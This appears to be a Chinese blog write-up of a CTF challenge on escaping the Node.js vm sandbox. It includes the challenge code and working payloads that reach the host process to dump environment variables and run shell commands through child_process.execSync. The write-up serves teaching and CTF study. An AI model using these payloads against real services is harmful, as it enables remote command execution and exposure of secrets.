nodejs
简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境。
vm沙箱逃逸
vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸
实例演示
在极客大挑战2020上遇到了一道沙箱逃逸题:JailFamilyPackage。
这个题有三重关卡,第二重就是一个基于nodejs的沙箱,链接服务器后出现提示,这里贴一下
Hint:
const vm = require('vm');
const readline = require('readline');
console.log("Hint: ")
console.log(require("fs").readFileSync("/app.js").toString())
const context = vm.createContext({});
var rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
terminal: false
});
process.stdout.write("> ");
rl.on('line', function(line){
try {
console.log(vm.runInContext(line, context));
} catch (e) {
console.log(e)
}
process.stdout.write("> ");
})
this.constructor.constructor('return this.process.env')()
逃逸方法
const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);
执行以上代码可以获取到主程序环境中的环境变量
上面例子的代码等价于如下代码:
const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);
创建vm环境时,首先要初始化一个对象 sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局this
指向的就是这个对象。
因为this.constructor.constructor
返回的是一个Function constructor
,所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的) 这里构造的函数内的语句是return this.process.env
,结果是返回了主程序的环境变量。
配合chile_process.exec()就可以执行任意命令了:
const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);
最终payload
根据以上方法可以构造出我们的payload
this.constructor.constructor('return this.process.env')()
//创建一个sanbox
const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('ls').toString()
//执行命令查看目录
const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('cat flag').toString()
//抓取flag
后记
最近的mongo-express RCE(CVE-2019-10758)漏洞就是配合vm沙箱逃逸来利用的。
PS
上面的演示题还有第三重,是基于feakeroot和chroot的沙箱逃逸,有机会再写吧。
Comments | NOTHING